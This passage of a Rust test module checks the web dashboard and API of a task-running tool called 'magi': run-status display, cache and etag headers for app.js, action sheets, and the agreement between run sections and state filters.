19065        assert_eq!(view["latest_attempt"]["resolved"], true);
19066
19067        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
19068        assert_eq!(mid["latest_attempt"]["id"], c);
19069        assert_eq!(mid["latest_attempt"]["resolved"], true);
19070    }
19071
19072    #[tokio::test]
19073    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
19074        let fx = Fixture::start().await;
19075        let q = fx.queue();
19076        let runs = fx.runs();
19077
19078        // Still Blocked: the task is not resolved, so the older run must not
19079        // read as settled either.
19080        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
19081        write_run(&runs, still_blocked_a, RunStatus::Blocked);
19082        write_run(&runs, still_blocked_b, RunStatus::Blocked);
19083        let mut t1 = Task::new(
19084            "still stuck".to_owned(),
19085            "do it".to_owned(),
19086            PathBuf::from("/repo"),
19087            Source::Human,
19088        );
19089        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
19090        q.put(&mut t1).expect("put");
19091        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
19092        assert_eq!(view1["latest_attempt"]["resolved"], false);
19093        assert_eq!(view1["latest_attempt"]["status"], "blocked");
19094        assert_eq!(view1["latest_attempt"]["done"], true);
19095
19096        // Still running: the successor exists and must be reported as such.
19097        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
19098        write_run(&runs, run_a, RunStatus::Blocked);
19099        write_run(&runs, run_b, RunStatus::Implementing);
19100        let mut t3 = Task::new(
19101            "retrying".to_owned(),
19102            "do it".to_owned(),
19103            PathBuf::from("/repo"),
19104            Source::Human,
19105        );
19106        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
19107        q.put(&mut t3).expect("put");
19108        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
19109        assert_eq!(view3["latest_attempt"]["id"], run_b);
19110        assert_eq!(view3["latest_attempt"]["resolved"], false);
19111        assert_eq!(view3["latest_attempt"]["done"], false);
19112
19113        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
19114        // to check - not a confirmed finish, so this must not read as
19115        // resolved either, even though the run is done in the sense that
19116        // nothing is still running.
19117        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
19118        write_run(&runs, noop_a, RunStatus::Blocked);
19119        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
19120        let mut t2 = Task::new(
19121            "claims done".to_owned(),
19122            "do it".to_owned(),
19123            PathBuf::from("/repo"),
19124            Source::Human,
19125        );
19126        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
19127        q.put(&mut t2).expect("put");
19128        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
19129        assert_eq!(
19130            view2["latest_attempt"]["resolved"], false,
19131            "an unverified no-op claim must not read as a confirmed finish"
19132        );
19133
19134        // Front end: an unresolved successor must not carry the "finished
19135        // this work" note or the muted chip treatment.
19136        assert!(APP_JS.contains("latest.resolved"));
19137        // ...but the link to it shows as soon as it exists, labelled by state
19138        // and without the "finished" wording or the muted chip.
19139        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
19140        assert!(APP_JS.contains("Latest attempt: "));
19141        assert!(APP_JS.contains("in flight"));
19142        assert!(APP_JS.contains("not resolved"));
19143    }
19144
19145    #[tokio::test]
19146    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
19147        let fx = Fixture::start().await;
19148        // No cache header at all meant browsers invented their own policy,
19149        // and one did: a phone went on showing "Candidates must be folded
19150        // before deleting. Run `magi fold` first." - deleted two releases
19151        // earlier - from a deck that no longer contained the sentence. The
19152        // button it named was right there, and unreachable.
19153        let js = fx.get("/app.js").await;
19154        assert_eq!(js.status, 200);
19155        let tag = js
19156            .header("etag")
19157            .expect("an etag to revalidate against")
19158            .to_owned();
19159        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
19160        assert_eq!(
19161            js.header("cache-control"),
19162            Some("no-cache, must-revalidate"),
19163            "the phone has to ask every time"
19164        );
19165
19166        // And the asking has to be cheap, or `must-revalidate` just means
19167        // "send the whole interface on every load".
19168        let again = fx
19169            .get_with("/app.js", &[("if-none-match", tag.as_str())])
19170            .await;
19171        assert_eq!(
19172            again.status, 304,
19173            "a deck it already has costs one round trip"
19174        );
19175        assert!(again.body.is_empty(), "304 carries no body");
19176
19177        // A weakened tag from a proxy still matches; a different build does
19178        // not, which is the case that has to deliver the new interface.
19179        let weak = fx
19180            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
19181            .await;
19182        assert_eq!(weak.status, 304);
19183        let stale = fx
19184            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
19185            .await;
19186        assert_eq!(stale.status, 200, "an older build must be replaced");
19187        assert!(stale.body.contains("renderRunActions"));
19188    }
19189
19190    #[test]
19191    fn the_task_detail_has_an_actions_fab_and_sheet() {
19192        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
19193        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
19194        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
19195        // Shown only on the task route, closed everywhere else.
19196        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
19197        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
19198        // Refreshed whenever the detail redraws, including the loading state.
19199        assert!(APP_JS.contains("renderTaskActions(task);"));
19200        assert!(APP_JS.contains("renderTaskActions(null);"));
19201        // Same renderers and routes as the Queue card, no new endpoint.
19202        let sheet = APP_JS
19203            .find("function renderTaskActions")
19204            .expect("sheet renderer");
19205        let body = &APP_JS[sheet..sheet + 3000];
19206        assert!(body.contains("changePriority("));
19207        assert!(body.contains("openTaskEdit(task)"));
19208        assert!(body.contains("renderTaskHoldBox(host"));
19209        assert!(body.contains("renderTaskDoneBox(host"));
19210        assert!(body.contains("renderTaskDeleteBox(host"));
19211        assert!(APP_JS.contains("API.priority(id)"));
19212        assert!(APP_JS.contains("API.deleteTask(id)"));
19213        // A deleted task sends the operator back to the queue.
19214        assert!(APP_JS.contains("location.hash = \"#/queue\""));
19215        // A refusal is shown inside the sheet.
19216        assert!(APP_JS.contains("$(\"task-actions-error\")"));
19217    }
19218
19219    #[test]
19220    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
19221        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
19222        let actions = INDEX_HTML
19223            .find("id=\"run-actions-box\"")
19224            .expect("actions box");
19225        assert!(task < actions, "the task entry comes first in the sheet");
19226        assert!(APP_JS.contains("renderRunTaskEntry"));
19227        assert!(APP_JS.contains("\"Open task \""));
19228        // A run without a task says why there is nothing to open.
19229        assert!(APP_JS.contains("started directly, no task"));
19230        assert!(APP_JS.contains("sheet-task-link"));
19231        assert!(APP_JS.contains("task-chip-link"));
19232    }
19233
19234    #[test]
19235    fn the_deck_never_sends_the_operator_to_a_terminal() {
19236        // The whole point of the phone UI is that a terminal is not needed.
19237        // The delete control used to answer with "Run `magi fold` first."
19238        assert!(
19239            !APP_JS.contains("Run `magi fold` first"),
19240            "the deck must offer the fold, not prescribe a shell command"
19241        );
19242        assert!(APP_JS.contains("foldRun:"));
19243        assert!(APP_JS.contains("resumeRun:"));
19244        assert!(APP_JS.contains("renderRunActions"));
19245
19246        // Folding is destructive and armed in two steps, like deleting.
19247        assert!(APP_JS.contains("armedFold"));
19248        assert!(APP_JS.contains("Yes, fold worktrees"));
19249
19250        // And the copy has to say that the two actions are opposites, because
19251        // folding throws away exactly what a resume would continue from.
19252        assert!(APP_JS.contains("can no longer be resumed"));
19253    }
19254
19255    #[test]
19256    fn a_finished_run_explains_itself_with_its_own_last_line() {
19257        // The deck used to answer "why did this stop?" with a sentence chosen
19258        // by status alone. Run e633 stalled because two judges answered with
19259        // the wrong JSON shape and its card said "The panel collapsed on
19260        // agent quota" - with `quota: []` in the record and a quota-loss
19261        // counter right above it that correctly said nothing.
19262        assert!(
19263            !APP_JS.contains("collapsed on agent quota"),
19264            "a stall must not be explained by a cause the deck did not check"
19265        );
19266        assert!(
19267            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
19268            "and a block must not offer a guess with an `or` in it"
19269        );
19270
19271        // The reason it does have is `run.event`, which must reach finished
19272        // runs: gating it on movement hid the recorded truth at the one moment
19273        // the operator is reading the card to find out what happened.
19274        assert!(
19275            APP_JS.contains("setText(r.event, run.event || \"\")"),
19276            "the run's last line is rendered unconditionally"
19277        );
19278        assert!(
19279            !APP_JS.contains("moving && run.event"),
19280            "and never gated on the run still moving"
19281        );
19282
19283        // Quota keeps its own counter, fed by the number actually recorded.
19284        assert!(APP_JS.contains("lost to quota"));
19285    }
19286
19287    /// The runs tree (section) and the state chips (waiting/done) are two
19288    /// independent lenses ANDed together in `renderRuns`, and some pairings
19289    /// can never both be true for any run - every "Landed"/"Ended" run is
19290    /// done by construction, so pairing either with "Active" or "In flight"
19291    /// always rendered zero cards with the filter bar still claiming
19292    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
19293    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
19294    /// a handful of (waiting, status) shapes standing in for the run
19295    /// lifecycle, because `cargo test` cannot execute the front end.
19296    ///
19297    /// That stand-in list is itself the part that drifted twice in review:
19298    /// once shipped with `waiting: true` paired with a done status the
19299    /// lifecycle cannot produce, then over-corrected into treating every
19300    /// waiting run as never done - which made "Waiting on you" look
19301    /// incompatible with "Done" even for the one real, reachable shape
19302    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
19303    /// that combination. This test parses the shapes and the done-rule back
19304    /// out of `APP_JS`, reimplements `runSection` and the five state
19305    /// predicates independently in Rust, and checks the resulting
19306    /// section/filter compatibility table against the lifecycle rules by
19307    /// hand - so either direction of drift fails it again.
19308    #[test]
19309    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
19310        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
19311        let shapes_body_start =
19312            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
19313        let shapes_close = APP_JS[shapes_body_start..]
19314            .find("].map(")
19315            .expect("the shape list is closed by its done-computing .map(...)")
19316            + shapes_body_start;
19317        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
19318
19319        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
19320        for entry in shapes_src.split('{').skip(1) {
19321            let waiting = entry.contains("waiting: true");
19322            let dead = entry.contains("live: \"dead\"");
19323            let status_at =
19324                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
19325            let status_end = entry[status_at..]
19326                .find('"')
19327                .expect("the status string is closed")
19328                + status_at;
19329            let parked = entry.contains("display_status: \"parked\"");
19330            shapes.push((
19331                waiting,
19332                entry[status_at..status_end].to_string(),
19333                dead,
19334                parked,
19335            ));
19336        }
19337        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
19338
19339        // The done rule itself (`!["implementing"].includes(shape.status)`),
19340        // read out of the source rather than hardcoded, so a renamed
19341        // in-flight status can't silently make every parsed shape "done".
19342        let done_rule_marker = "done: !";
19343        let done_rule_at = APP_JS[shapes_close..]
19344            .find(done_rule_marker)
19345            .expect("the done rule follows the shape list")
19346            + shapes_close
19347            + done_rule_marker.len();
19348        let includes_at = APP_JS[done_rule_at..]
19349            .find(".includes(shape.status)")
19350            .expect("the done rule ends in .includes(shape.status)")
19351            + done_rule_at;
19352        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
19353            .trim()
19354            .trim_start_matches('[')
19355            .trim_end_matches(']')
19356            .split(',')
19357            .map(|s| s.trim().trim_matches('"'))
19358            .filter(|s| !s.is_empty())
19359            .collect();
19360
19361        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
19362            .into_iter()
19363            .map(|(waiting, status, dead, parked)| {
19364                let done = !not_done.contains(&status.as_str());
19365                (waiting, status, dead, parked, done)
19366            })
19367            .collect();
19368
19369        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
19370        // outright, then merged/ready land, stalled/blocked/failed/
19371        // verified_noop end, and everything else is still in flight.
19372        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
19373            if waiting {
19374                return "waiting";
19375            }
19376            if dead
19377                && !parked
19378                && !matches!(
19379                    status,
19380                    "merged"
19381                        | "ready"
19382                        | "stalled"
19383                        | "blocked"
19384                        | "failed"
19385                        | "verified_noop"
19386                        | "superseded"
19387                        | "already_in_base"
19388                )
19389            {
19390                return "stale";
19391            }
19392            match status {
19393                "merged" | "ready" => "landed",
19394                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
19395                | "already_in_base" => "ended",
19396                _ => "flight",
19397            }
19398        }
19399
19400        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
19401        // way.
19402        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
19403            match filter_key {
19404                "active" => !done,
19405                "flight" => !done && !waiting && !dead,
19406                "stale" => !done && !waiting && dead,
19407                "waiting" => waiting,
19408                "done" => done,
19409                "all" => true,
19410                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
19411            }
19412        }
19413
19414        let compatible = |section: &str, filter_key: &str| {
19415            shapes.iter().any(|(waiting, status, dead, parked, done)| {
19416                run_section(*waiting, status, *dead, *parked) == section
19417                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
19418            })
19419        };
19420
19421        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
19422        // (active, flight, stale, waiting, done, all) - hand-derived from the
19423        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
19424        // currently contains.
19425        let expected = [
19426            ("waiting", [true, false, false, true, true, true]),
19427            ("stale", [true, false, true, false, false, true]),
19428            ("flight", [true, true, false, false, false, true]),
19429            ("landed", [false, false, false, false, true, true]),
19430            ("ended", [false, false, false, false, true, true]),
19431        ];
19432        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
19433
19434        for (section, wants) in expected {
19435            for (filter_key, want) in filter_keys.iter().zip(wants) {
19436                assert_eq!(
19437                    compatible(section, filter_key),
19438                    want,
19439                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
19440                );
19441            }
19442        }
19443
19444        // The compatibility check exists only to be acted on: both pickers
19445        // must actually consult it rather than just render its answer.
19446        assert!(
19447            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
19448        );
19449        assert!(APP_JS.contains(
19450            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
19451        ));
19452        assert!(APP_JS.contains(
19453            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
19454        ));
19455    }
19456
19457    #[tokio::test]
19458    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
19459        // An operator-named directory - git checkout or not - is never
19460        // second-guessed, even when it does not exist at all: only the
19461        // flag's own unmodified `.` default is ever eligible for discovery.
19462        let dir = tempfile::tempdir().expect("tempdir");
19463        let explicit = dir.path().join("not-a-checkout");
19464        std::fs::create_dir_all(&explicit).expect("create dir");
19465        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
19466
19467        let missing = dir.path().join("does-not-exist-at-all");
19468        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
19469    }
19470
19471    #[test]
19472    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
19473        assert!(APP_JS.contains("function statsDonutArcs"));
19474        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
19475        // A bucket click filters by the statuses src/stats.rs counts in it.
19476        assert!(APP_JS.contains("function statusInBucket"));
19477        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
19478        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
19479        let buckets = [
19480            "merged",
19481            "ready",
19482            "in_progress",
19483            "blocked",
19484            "failed",
19485            "verified_noop",
19486            "superseded",
19487            "stalled",
19488        ];
19489        for key in buckets {
19490            let var = format!("--verdict-{key}:");
19491            // Light, OS-dark and pinned-dark blocks each define it.
19492            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
19493            assert!(
19494                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
19495                "{key}"
19496            );
19497        }
19498    }
19499}